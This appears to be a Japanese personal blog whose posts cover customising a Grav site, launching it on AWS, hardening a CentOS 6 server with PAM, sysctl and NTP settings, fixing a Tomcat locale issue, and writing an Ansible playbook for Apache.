サイドバーやメニューの表示を日本語に修正。

# user/themes/antimatter/languages.yaml
en:
TRANSLATION_TEST: Antimatter!
BLOG:
ITEM:
CONTINUE_READING: 続きを読む
NEXT_POST: 次の記事
PREV_POST: 前の記事
SIDEBAR:
SIMPLE_SEARCH:
HEADLINE: 検索
RELATED_POSTS:
HEADLINE: 更新記事
RANDOM_ARTICLE:
HEADLINE: Random Article
FEELING_LUCKY: I'm Feeling Lucky!
SOME_TEXT_WIDGET:
HEADLINE: スポンサードリンク
POPULAR_TAGS:
HEADLINE: タグ
ARCHIVES:
HEADLINE: アーカイブ
SYNDICATE:
HEADLINE: Feed
FORM_DATA:
SUMMARY: "Here is the summary of what you wrote to us:"
ERROR: Error

※本来はTOPのen:をja:で用意すればテンプレートのdefault_lang: jaを見て換わりそうなのだがやり方がわからないのでen:を書き換えておく

・サイト内検索
gravではsimplesearchというプラグインがあるがイケてないので乗り換え。
下記記事を参考にGoogle Serchを取得する。
http://seolaboratory.jp/other/2016062936916.php
google serchをデフォルトのserchが配置される箇所に埋め込む。
テンプレートを直接編集。

# vim user/themes/antimatter/templates/partials/sidebar.html.twig
{% if config.plugins.simplesearch.enabled %}
<div class="sidebar-content">
<h4>{{ 'SIDEBAR.SIMPLE_SEARCH.HEADLINE'|t }}</h4>

{# Google search #}
 ~この辺にJavaScriptsを貼り付け~

{# {% include 'partials/simplesearch_searchbox.html.twig' %} #}
</div>
{% endif %}

広告
GoogleAdsをテンプレートに埋め込む。
と思ったらGoogleAdsのタグとGravは相性が悪いらしく、テンプレートにタグを書いても、
記事にタグを書いても上手く動かない。
下記トピックを参考にすれば上手く表示できるらしい。
https://muut.com/i/getgrav/general:adsense-script-in-grav-cont

要はタグをtwig形式でテンプレート化させてそれをmarkdown側から呼び出して処理させる方法らしい。
設定からtwigの読み込みを有効化する必要はある。

失敗に書いたけど恐らくドメインの制限で広告を確認できていないため未確認。

コメント機能
プラグインであるコメント機能は微妙なので、DISQUSサービスを利用する。
下記サイトを参考にタグを設置する
https://yoshinorin.net/2016/11/04/setup-disqus-to-blog/
ブログ記事に設置

# vim user/themes/antimatter/templates/item.html.twig
<div class="blog-content-item grid pure-g-r">
<div id="item" class="block pure-u-2-3 h-entry">
{% include 'partials/blog_item.html.twig' with {'blog':page.parent, 'truncate':false} %}


{# DISQUS COMMENT FORM #}
~~この辺にJavaScriptsを貼り付け~~
Wikiにも配置
# vim user/themes/antimatter/templates/default.html.twig
<div class="blog-content-item grid pure-g-r">
<div id="item" class="block pure-u-2-3 h-entry">
{% include 'partials/default_item.html.twig' with {'blog':page.parent, 'truncate':false} %}

{# DISQUS COMMENT FORM #}
~~この辺にJavaScriptsを貼り付け~~

ソーシャルボタンの配置
インストールしたプラグインを有効化する。

# vim user/themes/antimatter/templates/partials/blog_item.html.twig
<div class="list-blog-padding">

{# socialbuttons plugin #}
{% include 'partials/socialbuttons.html.twig' with {'url' : page.url} %}

{% if page.header.continue_link is sameas(false) %}

デフォルトのソーシャルボタンはちょっと大きいので、CSSを調整
widthとかを調整しておく。

# vim user/plugins/socialbuttons/vendor/rrssb/css/rrssb.css

大体この辺の作業が完了するまでに3日くらい。Gravの中身把握にめちゃ時間かかった。

サイト公開

大体サイトの準備ができていい感じの見た目にもなったので公開する。
と
ここで気がつく。
botがこない。検索エンジンにindexが張られてないからアクセスも来ない。
そりゃそうだよね。
広告も取得したばっかりなので1週間後まで表示されない。。
知ってるよ。そうだよね。

Google Sercheへクロール申請
しましょう。
下記を参考に、Fetch as GoogleからとりあえずTOPだけでもindsex登録&bot申請します。
https://support.google.com/webmasters/answer/6065812?hl=ja
インデックスへの登録状況は検索バーに下記を入れて確認しましょ

site:あなたのサイトドメイン名

インデックスに登録されないと当然サイト内検索も何もひっかかりません。

サイトマップの登録
しましょう。
Google Serche Conoleでsaitemapを登録しておきます。
プラグイン入れていれ自動生成されているので、登録しておく。

SNSへの告知
しましょう。
今の状態ではあなたのサイトは検索しても出てこないし、存在しないサイトです。
せめてもの抵抗でSNSでハッシュタグつけて更新するたびに飛ばしてアクセスを呼び込みましょう。
他にサイト持っているのであればリンク張るなりして助けましょう。

Google Analytics
無料だし導入しましょう。テンプレートの適当なところに入れればいいと思います。

記事を書く
とにかく書く。

サイト運用

公開後の作業

運用コストAWSの利用費用だけですね。
初期はアクセスなんてほとんど来ないので見積もりツールで見ると月額38$、4500円くらいかな?
他のクラウドサービス使ったほうが安そうw
SSL化ができるかはおいておいて。

画像サーバ記事で使う画像を配置してブログから参照できるような環境が欲しい。
GoogleフォトとかDropboxでもいいかもしれないけど。
AWSnのS3を利用しようと思ったけど、
HTTPS化とかやりだすとめっちゃ金かかりそうなので。

ウイルススキャンソフトのインストールLinuxのアンチウイルスソフトはClamavがポピュラーだとおもうが、
知っていてつまらないのでSOPHOS AVを導入してみる。
https://www.sophos.com/ja-jp/products/free-tools/sophos-antivirus-for-linux.aspx
アカウント登録的なものの入力を求められます。

・マニュアル https://www.sophos.com/ja-jp/medialibrary/PDFs/documentation/savl_9_sgeng.pdf
・設定マニュアル https://www.sophos.com/ja-jp/medialibrary/pdfs/documentation/savl_9_cgeng.pdf

問題はこれをどうやって通知するようにするか。。。SES?

最後に

細かいところはおいておいてざざっと1からサイトを立てるまでをやりました。
その結果検索にひっかからない、流入もない、広告もはれない、
月額5000円以上の運用費がかかるサイトが3日くらいで立ちましたとさww

SSL証明書はLet's Encryptを採用すればLBも必要ないし、もう少し安くできたかも。
ワイルドカードは魅力だけどAWSサービスに縛られる必要もなくなる。

数台~数十台のサーバやドメインを運用するのであればAWSでもいいかなと思いますが、
数台規模であればAWSはちょっと高くつくなという印象です。

何よりドメインは重要なんだと再認識。
サイトの信用度やSEOの優先度がそこですべて影響されてしまう。

R53は凄く便利。

準備したものが全て上手くかみ合わなかった形になってしまったが、、、
この反省と経験を生かして次に役立てよう。。。

2016年1月7日木曜日

Linux サーバを作る その後

ナレッジサービス


ブログに記事形式で自分のナレッジを書いていくのもいいですが、
情報の更新がブログ形式ゆえに少し抵抗が出ます。

かといってWiki形式で大々的に、きちんとやるとなると更新しづらくなる。

Qiitaとか情報集積系サービスを利用するにしても、
仕事不でも使えるように自由度とクラウド感を利用できつつ、Githubで更新履歴管理もしたい。

ということで最近Gitbookというサービスを利用してみています。

GitBook

今はまだ色々いいツールないかなと検討している段階ですが、
今まで記述していたOS初期設定を手順書っぽく公開してみました。

CentOS6 セットアップガイド

Index

  1. はじめに
  2. OSのインストール
  3. インストール言語の選択
  4. 入力キーボードタイプの選択
  5. インストールストレージタイプの選択
  6. ホスト名の設定
  7. ネットワークの設定
  8. タイムゾーンの設定
  9. ROOTユーザーパスワードの設定
  10. インストールパーティションの設定
  11. パーティションレイアウトの設定
  12. ブートローダの選択
  13. インストールの開始
  14. 再起動/インストール完了
  15. OS基本設定
  16. ネットワーク設定
  17. NICの設定
  18. ホスト名の設定
  19. 参照DNSの設定
  20. APIPAの無効化
  21. IPv6アドレスの無効化
  22. SELinuxの無効化
  23. デフォルトランレベル
  24. インストール言語
  25. システム時刻
  26. cron設定
  27. ログローテート
  28. カーネルパニック対応
  29. アカウント管理
  30. ユーザーデフォルトの設定
  31. パスワードポリシー
  32. セキュリティ設定
  33. SUDO設定
  34. SU設定
  35. 不要なサービスの停止
  36. SYN FLOOD攻撃対策
  37. Smurf攻撃対策
  38. ブリッジ接続対策
  39. iptables
  40. SSHサーバ設定
  41. 基本設定
  42. セキュリティ設定
  43. パスワード認証設定
  44. 鍵認証設定
  45. SFTP設定
  46. chroot設定
  47. NTP設定
  48. NTPサーバの設定
  49. NTPクライアントの設定
  50. slewモード設定
  51. ntpdate設定
  52. セキュリティパッチの適用
  53. アップデートの適応
  54. 自動アップデート設定
  55. アップデート制限
  56. システム監査



Gitが、おもしろいほどわかる基本の使い方33〈バージョン管理、SourceTree、Bitbucket〉
大串 肇 久保靖資 豊沢泰尚
エムディエヌコーポレーション
売り上げランキング: 4,325

2015年3月14日土曜日

起動サービスのロケーション設定の驚き


今までは問題なかったが、
OSを再起動してみらアプリの動作がおかしくなった!

どうやら原因はTomcatの環境変数に設定されているロケール情報が起動前と違っていることが原因。

なぜ~・・・

もちろんOSのロケール情報は日本語環境にしてあります。

# cat /etc/sysconfig/i18n
LANG="ja_JP.UTF-8"

# locale
LANG=ja_JP.UTF-8
LC_CTYPE="ja_JP.UTF-8"
LC_NUMERIC="ja_JP.UTF-8"
LC_TIME="ja_JP.UTF-8"
LC_COLLATE="ja_JP.UTF-8"
LC_MONETARY="ja_JP.UTF-8"
LC_MESSAGES="ja_JP.UTF-8"
LC_PAPER="ja_JP.UTF-8"
LC_NAME="ja_JP.UTF-8"
LC_ADDRESS="ja_JP.UTF-8"
LC_TELEPHONE="ja_JP.UTF-8"
LC_MEASUREMENT="ja_JP.UTF-8"
LC_IDENTIFICATION="ja_JP.UTF-8"
LC_ALL=

再起動してももちろん変更はされていませんね。
そういえば、プロセスの変数情報を確認できなたと思い確認してみると。

# cat /proc/{PID}/environ
TERM=linuxPATH=/sbin:/usr/sbin:/bin:/usr/binRUNLEVEL=3runlevel=3PWD=/LANGSH_SOURCED=1LANG=en_US.UTF-8PREVLEVEL=Nprevious=NCONSOLETYPE=vtSHLVL=2UPSTART_INSTANCE=UPSTART_EVENTS=runlevelUPSTART_JOB=rc_=/opt/app/tomcat6-ffc/bin/jsvcLD_LIBRARY_PATH=/opt/app/jre/lib/amd64/server:/opt/app/jre/lib/amd64

おやまぁ本当にLANGの値は"en_US.UTF-8"になっている。

いったいどこでこの値は設定されるのだろう?
Shellが起動された時、いろいろprofileやbashrcとかが呼び出されて環境を整えるのでそのあたりか。

# vim /etc/profile.d/lang.sh
~省略
if [ -n "$LANG" ]; then
case $LANG in
*.utf8*|*.UTF-8*)
if [ "$TERM" = "linux" ]; then
if [ "$consoletype" = "vt" ]; then
case $LANG in
ja*) LANG=en_US.UTF-8 ;;
ko*) LANG=en_US.UTF-8 ;;
si*) LANG=en_US.UTF-8 ;;
zh*) LANG=en_US.UTF-8 ;;
ar*) LANG=en_US.UTF-8 ;;
fa*) LANG=en_US.UTF-8 ;;
he*) LANG=en_US.UTF-8 ;;
en_IN*) ;;
*_IN*) LANG=en_US.UTF-8 ;;
esac
fi
fi
profileの中を確認してみると、なにやらコンソールタイプ変数値によて設定するロケールの値を変えている
コンソールタイプ?

確かに再起動後のプロセス情報は"CONSOLETYPE=vt"となっている。

ここか・・・!

確かにSSH等のコンソールからサービスの再起動を行うと、
コンソールタイプは"CONSOLETYPE=pty"となり、日本語ロケールにもなり、コンソール関係の変数も読み込まれている。
細かいところまでは見ていないけれど、コンソールタイプでLANG関係の読み込みも分けている。

f [ -n "$LANG" ]; then
saved_lang="$LANG"
[ -f "$HOME/.i18n" ] && . "$HOME/.i18n" && sourced=1
LANG="$saved_lang"
unset saved_lang
else
for langfile in /etc/sysconfig/i18n "$HOME/.i18n" ; do
[ -f $langfile ] && . $langfile && sourced=1
done
fi

今回問題になったTomcatはバイナリでサイトから落として利用している。
RPMでインストールするサービスはどうなのか知らないですが、
少なくともコンソールタイプで読み込まれる変数が変わるというのは初耳だった。

今回は起動スクリプトに明示的に"LANG=ja_JP.UTF-8"として問題を回避したが、
(そもそも)環境依存で作りアプリケーションに問題があるかどうかは置いといて。)
どうりでOS再起動時のログファイルは英語になっているわけだよ・・・。

OS依存によるアプリケーションやシステムの構築には気を付けよう!

そして必ずOS再起動でもシステムは問題なく動く事を確認しよう。


詳解 Tomcat
詳解 Tomcat
posted with amazlet at 15.03.14
藤野 圭一
オライリージャパン
売り上げランキング: 19,989

2015年1月30日金曜日

Linuxサーバを作る ④

アカウントセキュリティ

動けばいいじゃんと軽視されがちですが、私は大事だと考えています。

パスワードポリシー

ユーザーパスワードは8文字以上、大小文字・数字・記号も必須にしましょう。
またログインの際に一定回数パスワード認証に失敗したらロックするようにもします。
 # vim /etc/login.defs
#PASS_MIN_LEN 5
PASS_MIN_LEN 8
 # vim /etc/pam.d/system-auth-ac
auth required pam_env.so
auth required pam_tally2.so pam_tally2.so onerr=fail deny=10 unlock_time=120
auth sufficient pam_unix.so nullok try_first_pass
auth requisite pam_succeed_if.so uid >= 500 quiet
auth required pam_deny.so

account required pam_unix.so
account required pam_tally2.so
account sufficient pam_localuser.so
account sufficient pam_succeed_if.so uid < 500 quiet
account required pam_permit.so

#password requisite pam_cracklib.so try_first_pass retry=3 type=
password requisite pam_cracklib.so try_first_pass retry=10 minlen=8 dcredit=-1 ucredit=-1 lcredit=-1
#password sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok
password sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok remember=1
password required pam_deny.so
 # vim /etc/pam.d/password-auth-ac
auth required pam_env.so
auth required pam_tally2.so pam_tally2.so onerr=fail deny=10 unlock_time=120
auth sufficient pam_unix.so nullok try_first_pass
auth requisite pam_succeed_if.so uid >= 500 quiet
auth required pam_deny.so

account required pam_unix.so
account required pam_tally2.so
account sufficient pam_localuser.so
account sufficient pam_succeed_if.so uid < 500 quiet
account required pam_permit.so

#password requisite pam_cracklib.so try_first_pass retry=3 type=
password requisite pam_cracklib.so try_first_pass retry=10 minlen=8 dcredit=-1 ucredit=-1 lcredit=-1
#password sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok
password sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok remember=1
password required pam_deny.so
設定に失敗すると上手くログインできなくなってしまうので注意して設定・確認しましょう。
※参考
値 説明
retry=N N回まで失敗が許されます。
type=XXX プロンプトに使われる文字列。
difok=N 現在のパスワードと N文字以上異なれば許可。
minlen=N パスワードが N文字以上だと許可。
dcredit=-N 数字が N文字以上含まれていれば許可。
ucredit=-N 大文字が N文字以上含まれていれば許可。
lcredit=-N 小文字が N文字以上含まれていれば許可。
ocredit=-N その他の文字が N文字以上含まれていれば許可。

権限昇格制限

複数人、複数拠点で運用するサーバであればきちんと設計・制限しておきましょう。

sudo権限

下記記事を参考にして頂ければと。
sudo関連のあれこれ

su権限

suコマンドを利用できるユーザーをwheelグループ所属ユーザーのみとする。
下記ファイルのコメントアウトを解除します。
 # vim /etc/pam.d/su
auth required pam_wheel.so use_uid
 # vim /etc/login.defs
SU_WHEEL_ONLY yes

不要サービスの停止

サーバ目的で利用するのであれば余計なリソースやポートが空かないよう。
不要なサービスを停止しておきましょう。
 # chkconfig --list

カーネルパラメータの調整

最低限の設定を。

Smurf攻撃対策
 # vim /etc/sysctl.conf
net.ipv4.icmp_echo_ignore_broadcasts = 1
kernelパニック発生時にOSを再起動するようにする。
 # vim /etc/sysctl.conf
kernel.panic = 10
設定を反映
 # sysctl -p
この時、追記した項目以外で下記のようなエラーが出力されます。
error: "net.bridge.bridge-nf-call-ip6tables" is an unknown key
error: "net.bridge.bridge-nf-call-iptables" is an unknown key
error: "net.bridge.bridge-nf-call-arptables" is an unknown key
こちらはネットワークブリッジを利用する目的以外でブリッジモジュールがインストールされていた場合、デフォルトで有効化されてしまうことを防ぐためにあえて記載してあるらしいです。
なのでそのままでもよいのですが、エラーが出ているという事はブリッジモジュールをインストールしていないという事なので、
エラーが気になる方はコメントアウトしてもいいかもしれません。

ACL

Linux標準のACLと言えばiptablesがあります。
AWSなんかではインスタンス単位でACLを設定できるためあまりメリットはないですが
GW/FWで制御するような環境であれば設定しておりて損はないと思いますので設定しましょう。
私は設定スクリプトを作成し、デーモン利用ではなく利用します。
サーバ再起動時なんかには自動でスクリプトを実行するようにしておくとよりいいですね。

セキュリティアップデート

サーバとして利用を開始する前には一度フルアップデートを実施したほうがよいでしょう。
構築作業中やインストールに利用したテンプレート・メディアによっては脆弱性に対するパッチが当たっていない場合があります。
 # yum update
※kernelのアップデートについては利用基盤やハード環境を考慮して行ってください。
 場合によってはサポートを受けられなくなる可能性があります。
サービスインしてしまうとなかなかアップデートを気軽に行えなくなってしまうのが面倒ですね。

sysstatの設定

今や標準でインストールされているsysstat。
そのままでも問題ありませんが、運用に合わせて設定を変更します。
初期設定だと28日分のシステムログを保持するようになっています。
もっと保持しておきたい場合。
 # vim /etc/sysconfig/sysstat
HISTORY=365
 # vim /usr/lib64/sa/sa1
HISTORY=365
 # vim /usr/lib64/sa/sa2
HISTORY=365
またデフォルトでは10分おきにシステムログを取得します。それを5分毎に変更します。
 # vim /etc/cron.d/sysstat
# Run system activity accounting tool every 10 minutes
#*/10 * * * * root /usr/lib64/sa/sa1 1 1
*/5 * * * * root /usr/lib64/sa/sa1 1 1
# 0 * * * * root /usr/lib64/sa/sa1 600 6 &
# Generate a daily summary of process accounting at 23:53
#53 23 * * * root /usr/lib64/sa/sa2 -A
58 23 * * * root /usr/lib64/sa/sa2 -A

時刻同期設定

同期サーバの設定

インターネット上でシステム時刻を同期・調整するようにします。
最近のOSではPTP時刻同期に対応してきていますが、こちらはNTPで設定します。
今回は外部のNTPサーバを参照しするクライアントとして設定します。
どのサーバを参照するか。ある程度信頼性が求められるので怪しげなサーバは参照しないようにしましょう。
私はよく下記サービスを参照します。
インターネットマルチフィード 公開NTPサービス
 # vim /etc/ntp.conf
server ntp1.jst.mfeed.ad.jp iburst
server ntp2.jst.mfeed.ad.jp iburst
server ntp3.jst.mfeed.ad.jp iburst
iburstを指定することで、初期時刻同期の収束時間が短くなるそうです。

ipv6の無効化
 # vim /etc/ntp.conf
#restrict -6 ::1

脆弱性・DDOS対策

NTPのDDOS対策
 # vim /etc/ntp.conf
disable monitor

slewモード設定

時刻同期方法をでデフォルトでslewモードにする
 # vim /etc/sysconfig/ntpd
OPTIONS="-u ntp:ntp -p /var/run/ntpd.pid -g -x"

NTP起動

ntpdを起動し同期を開始しましょう。
 # chkconfig ntpd on
# service ntpd start

ntpdateの設定

サーバ再起動時にはハードウェア時刻を参照し、起動します。
運用にてシステム時刻とハード時刻の同期を行っていれば大きな誤差なく起動しますが、
ハード時刻がずれていた場合に時刻誤差が大きく起動してこないよう
OS起動時にntpdateを実行するように設定しておきます。
 # vim /etc/ntp/step-tickers
# List of servers used for initial synchronization.
ntp1.jst.mfeed.ad.jp
ntp2.jst.mfeed.ad.jp
ntp3.jst.mfeed.ad.jp

起動設定
 # chkconfig ntpdate on
長かったなー。
以上で商用?サーバを構築しよう!の初期設定が完了です。
個人利用であったり、そこまで求められないよっていう設定もあるとおもいます。
知らなかったことがあり、だれかの助けになっていれば幸いです。

他ミドルウェアのついてもボチボチ書いていきたいとおもっています。


Linuxシステム[実践]入門 Software Design plus
技術評論社 (2013-08-20)
売り上げランキング: 4,627

Linuxサーバを作る ③

OS初期設定

ランレベルの設定

サーバ目的なのでデフォルトランレベルは3にしておきましょう。
Redhat ランレベルとは
ランレベルにより起動・利用されるサービスが違うため、余計なリソースを使わないようにするためです。
 # vim /etc/inittab
id:3:initdefault:
反映させるときは再起動が必要ですが、少し後回し。

インストールOS言語

インストール時に言語設定があったと思いますが実際の設定は下記ファイルとlocaleコマンドで確認できます。
 # cat /etc/sysconfig/i18n
LANG="ja_JP.UTF-8"
# locale
LANG=ja_JP.UTF-8
LC_CTYPE="ja_JP.UTF-8"
LC_NUMERIC="ja_JP.UTF-8"
LC_TIME="ja_JP.UTF-8"
LC_COLLATE="ja_JP.UTF-8"
LC_MONETARY="ja_JP.UTF-8"
LC_MESSAGES="ja_JP.UTF-8"
LC_PAPER="ja_JP.UTF-8"
LC_NAME="ja_JP.UTF-8"
LC_ADDRESS="ja_JP.UTF-8"
LC_TELEPHONE="ja_JP.UTF-8"
LC_MEASUREMENT="ja_JP.UTF-8"
LC_IDENTIFICATION="ja_JP.UTF-8"
LC_ALL=
最近だとクラウド側が準備しているテンプレートやコンテナを利用するケースが多いですが、その場合localeがENとかになっているケースが多いと思います。
きちんと利用環境、利用サービスに合わせておきましょう。

ロケールの日本語化

日本語パッケージが無ければインストールしておきます
 # yum groupinstall "Japanese Support"
日本語ロケールを追加し
 # localedef -f UTF-8 -i ja_JP ja_JP.utf8
定義ファイルを変更し
 # vim /etc/sysconfig/i18n
LANG="ja_JP.UTF-8"
再起動して反映させます
 # reboot

システム時刻の設定

こちらも利用環境に即しているか確認して設定します。
タイムゾーンの確認
 # cat /etc/localtime
~省略
JST-9
タイムゾーンを日本時間に修正する場合
 # cp -p /usr/share/zoneinfo/Asia/Tokyo /etc/localtime
こちらも一応日本時間に
 # cat /etc/sysconfig/clock
ZONE="Asia/Tokyo"
時刻はUTCを利用しているか
 # cat /etc/adjtime
0.000000 1410678273 0.000000
1410678273
UTC
時計のUTC?GMT?local?ってひとは下記サイトを読むと参考になるかも
Linuxはどのように時間を計っているか
これらの設定を変更した場合、反映させるためには再起動させましょう。

Cron設定

linux標準のジョブ管理ツールです。
6系からクラウド利用を考慮され今までと少し基本設定が変わっています。
日次、週次、月次の処理をanacronが、その他のジョブをcronineがという風になっています。
今まで通り任意のジョブ等はcronファイルに記述すれば今まで通り動くので問題ないので特に変更は不要ですが、
問題はanacronで実行されるジョブは指定日に指定の時間内でランダムに実行される点です。
デフォルトの日次ジョブにシステム関連ログのローテートジョブがありますが、
複数サーバを管理する場合サーバごとにローテート時刻がずれるといったログ管理上あまりよくない事態が発生してしまいます。
今まで通り指定日時に実行してほしい!という方はanacron、cron設定を変更します。
下記手順はanacronを無効化するものではなく、あくまで以前のようにanacronをジョブの再実行用に利用し、cron主体で動くようにする設定です。

定期実行ジョブをcronで管理

anacronで実行されている日次、週次、月次の処理を今まで通りcron実行にします。
各ディレクトリ配下のジョブを実行するよう追記。
 # vim /etc/crontab
05 0 * * * root run-parts /etc/cron.daily
25 0 * * 0 root run-parts /etc/cron.weekly
45 0 1 * * root run-parts /etc/cron.monthly
anacronで不実行ジョブが再実行されるタイミングを指定。
 # vim /etc/anacrontab
#START_HOURS_RANGE=3-22
START_HOURS_RANGE=5-6
日次、週次、月次の処理がcronで実行され、再実行不要であることをanacronに伝えるジョブを各ディレクトリに配置していきます。
 # /etc/cron.daily/0anacron
#!/bin/bash
if [ ! -e /var/run/anacron.pid ]; then
anacron -u cron.daily
fi
 # /etc/cron.weekly/0anacron
#!/bin/bash
if [ ! -e /var/run/anacron.pid ]; then
anacron -u cron.weekly
fi
 # /etc/cron.monthly/0anacron
#!/bin/bash
if [ ! -e /var/run/anacron.pid ]; then
anacron -u cron.monthly
fi
配置したジョブにはそれぞれ実行権限を与えておきます。

ログローテート設定

ここは利用する環境・要件に合わせて変更しましょう。
デフォルトだと4週間分logrotateで管理するログを保持します。
 # vim /etc/logrotate.conf
# 週単位でログをローテート
weekly

# ローテートしたログを4世代分保持
rotate 4

# ローテート後新しいログファイルを自動で作成
create

# ローテート後ファイルのフォーマットを"ファイル名-yyyymmdd"へ
dateext

# ローテートしたログは圧縮しない(コメントアウト)
#compress
次に続く


Linuxシステム[実践]入門 Software Design plus
技術評論社 (2013-08-20)
売り上げランキング: 4,627

2015年1月18日日曜日

Ansible コード作成


さぁ、前回パッケージのインストールまでは行いました。
そして何となく遠隔サーバにアクセスできるところまで来ましたがまだイメージできませんね。

私は先にChefを触っていたので、ここまではふーんという感じですが、
どのような記述ルールがあるのか、ディレクトリ構成は?ライブラリは?少しずいきましょう。

1.プレイブック構成

Chefでいうレシピのようなプレイブックはどのようなものなのか?

公式サイトにベストプラクティスがのっていますね。
Playbooks Best Practices

なるほど、各用途ごとにフォルダを分けて記述、インクルードするようにすると
しかしこれでは個人的に案件で利用しにくいため、下記を参考にカスタマイズします。

Ansible オレオレベストプラクティス

イメージとしては「common_roles」を読み込み専用のプラグイン的に利用し、
ほかはベストプラクティスの基本と同じですね。

2.プレイブックの作成

「common_roles」配下に細かいグループのプレイブックを作成していきます。
試しにApacheの初期設定的なものを作成していきす。

でどうやって?
実行したい内容を「task」という形で記述していきます。
そして「task」のためにAnsible側ではモジュールという形でライブラリが提供されています。
どのようなものがあるかは下記本サイトを参照してください。
Ansible Module Index

プレイブック記述のテクニックや基本的な記述方法は下記を参照
Ansible Playbook

まず「task」を作成します。
Apacheのインストールと、コンフィグファイルの配置、配信が行います。

# vim common_roles/apache/tasks/main.yml

---

- name: Install Apache
yum: name={{ item }} state=present enablerepo=epel
with_items:
- "{{ httpd_installs }}"
notify:
- restart httpd
tags: httpd

- name: Create httpd.conf
template: src=httpd.conf.j2 dest=/etc/httpd/conf/httpd.conf backup=yes
notify:
- restart httpd
tags: httpd

- name: Create virtual host
copy: src={{ item }} dest=/etc/httpd/conf.d/
with_items:
- "{{ httpd_include }}"
notify:
- restart httpd
tags: httpd

- name: Start Apache
service: name=httpd enabled=yes
tags: httpd
Apacheのインストールからhttpd.conf、インクルードさせたい設定ファイル、そして起動です。
読み込ませるコンフィグファイルはテンプレート化せずに、
変数に定義した値をインクルード・配布するようにしたいと思います。

次に配布したい設定ファイル「template」を準備します。
設定ファイルにはプロビジョニングツール共通ですが変数を利用できます。
設定ファイル系に関しては今後の可用性も考えて「template」を利用します。
同じファイル配布で「copy」、もありますがここらへんは好みですかね。

# vim common_roles/apache/templates/httpd/conf.j2
ServerTokens ProductOnly
ServerRoot "/etc/httpd"
PidFile run/httpd.pid

Timeout {{ httpd_timeout }}

#KeepAlive Off
#MaxKeepAliveRequests 100
#KeepAliveTimeout 15


StartServers 8
MinSpareServers 5
MaxSpareServers 20
ServerLimit {{ httpd_serverlimit }}
MaxClients {{ httpd_maxclients }}
MaxRequestsPerChild 4000


StartServers 4
MaxClients 300
MinSpareThreads 25
MaxSpareThreads 75
ThreadsPerChild 25
MaxRequestsPerChild 0


{% for listen_port in httpd_listen %}
Listen {{ listen_port }}
{% endfor %}

~<省略>
Ansibleのテンプレートの仕組にはJinja2というプログラムが利用されていますので、 込み入ったテンプレートを作成したい方はそちらを調べてみてもよいかもしれません。 主に案件ごとに変更しそうな設定をを変数化しておきます。

Ansibleではファイルを配布する際にバックアップオプションを設定する事で、
配布ファイルと同名のファイルがあった場合にバックアップを作成します。
バックアップはファイルを同じ階層に「ファイル名-yyyy-mm-dd@hh:mm」形式で作成されます。
バックアップ場所が指定できないのかな?そこが不便です。

次にインクルードさせる設定ファイルを作成します。
こちらも定型が決まっていればテンプレートで良いかもしれませんが、
インクルードファイルの定型は決まっていないので、柔軟に対応できるよう普通にファイルで配布します。

# vim common_roles/apache/files/vhost80.conf
NameVirtualHost *:80


ServerName vhost.example.com
ServerAdmin webmaster@localhost.localdomain
DocumentRoot /var/www/html

CustomLog "|/usr/local/sbin/cronolog /var/log/httpd/%Y%m/vhost_80_access.%Y%m%d.log" combined
ErrorLog "|/usr/local/sbin/cronolog /var/log/httpd/%Y%m/vhost_80_error.%Y%m%d.log"


Options -Indexes -MultiViews
AllowOverride None


ただの設定ファイルです。
他にもphpをインストールするのであれば同フォルダにphp.confなど必要な設定ファイルを配置しておきます。

そしてタスクの最後にApacheサービスの自動起動設定を記述していますが、 コンフィグファイルを変更した場合には新しい設定が反映されるよう、設定タスクにて「restart httpd」という「handler」を呼び出しています。
handlerは共通で何度も使用するタスクを関数化し定義することが可能です。
また「handler」に定義された内容はプレイブックの各タスク最後に実行されます。

# vim common_roles/apache/handlers/main.yml

---

- name: restart httpd
service: name=httpd state=restarted
簡単ですが、プレイブック自体はこれで完成です。
このプレイブックをうまく利用できるよう変数を定義していきます。

3.変数の定義

変数ファイルは構成にのっとり変数値を定義していきます。
でも変数にしたからには、基本変数があり、環境やサーバに合わせて変更できるべきですよね。

まず基本変数を定義していきます。

# vim group_vars/all
---
httpd_installs:
- httpd
- httpd-tools
- mod_ssl
httpd_timeout: 60
httpd_serverlimit: 256
httpd_maxclients: 256
httpd_listen:
- '80'
- '443'
httpd_include:
- php.conf
- vhost_80.conf
- vhost_443.conf
httpd_user: apache
httpd_group: apache
httpd_directoryindex: 'index.html index.php'
httpd_default_charset: 'Off'
プレイブックも作成し、変数も定義したのでいよいよ実行していきます。

また、Ansibleはデフォルトでも変数を持っていますので注意しましょう。

# ansible -m setup <ホスト名>

4.実行

色々作成したパーツを組み合わせていきます。

まずプラグインとして利用できるように作成したプレイブックを本プレイブックにインクルードさせます。

# vim role/apache/tasks/main.yml
---

- incude: ../../../common_roles/apache/tasks/main.yml
同様にハンドラーもインクルードさせます
# vim role/apache/handlers/main.yml
---

- incude: ../../../common_roles/apache/handlers/main.yml
テンプレートファイルは実行されるプラグインプレイブックと同階層、またはレポジトリのルート階層が検索されますので
インクルードはできません(多分)。

少し手間ですがこのようにプラグインを多段階層にすることで環境に合わせ柔軟に、
かつプレイブックの修正を最小現に再利用可能です。

そしてAnsibleの実行ファイルを作成します。

# vim provisioning.yml
---

- name: Apache Settings
hosts: all
roles:
- apache
実行させるロールと、実行される環境・サーバを定義します。
ここで定義している環境値に合わせて読み込み変数も変えさせます。
今回はall、つまり基本変数を読み込むようにします。

実行対象を記述したファイルを準備し

# vim hosts/production
[webservers]
10.0.100.12

[dbservers]
[production:children]
webservers
dbservers


これで後は実行すれば完了ですね。

構文確認し
# ansible-playbook -i hosts/production provisioning.yml --syntax-check`
プレイブックを実行します。
# ansible-playbook -i hosts/production provisioning.yml -u ssh_user -k

他にたとえば、ホストの変数を個別に設定したい場合

# vim hosts_vars/10.0.100.12
---
httpd_timeout: 30
httpd_serverlimit: 256
httpd_maxclients: 256
グループ単位で変数を設定したい場合、今回でいうと「hosts/production」というファイル名に実行ホストにを記載していますので、この「production」というグループで定義可能です。

# vim group_vars/production
httpd_timeout: 180
httpd_serverlimit: 256
httpd_maxclients: 256
プレイブックの実行対象についても「provisioning.yml」の「hosts:」の記述で調整します。

変数の優先順位により、hosts変数優先され次にグループ、最後にallが読み込まれます。

プレイブック固定の変数を定義したい場合は

# vim role/apache/vars/main.yml
という記述もできますが、あんまり細分化しても煩雑になりそう。

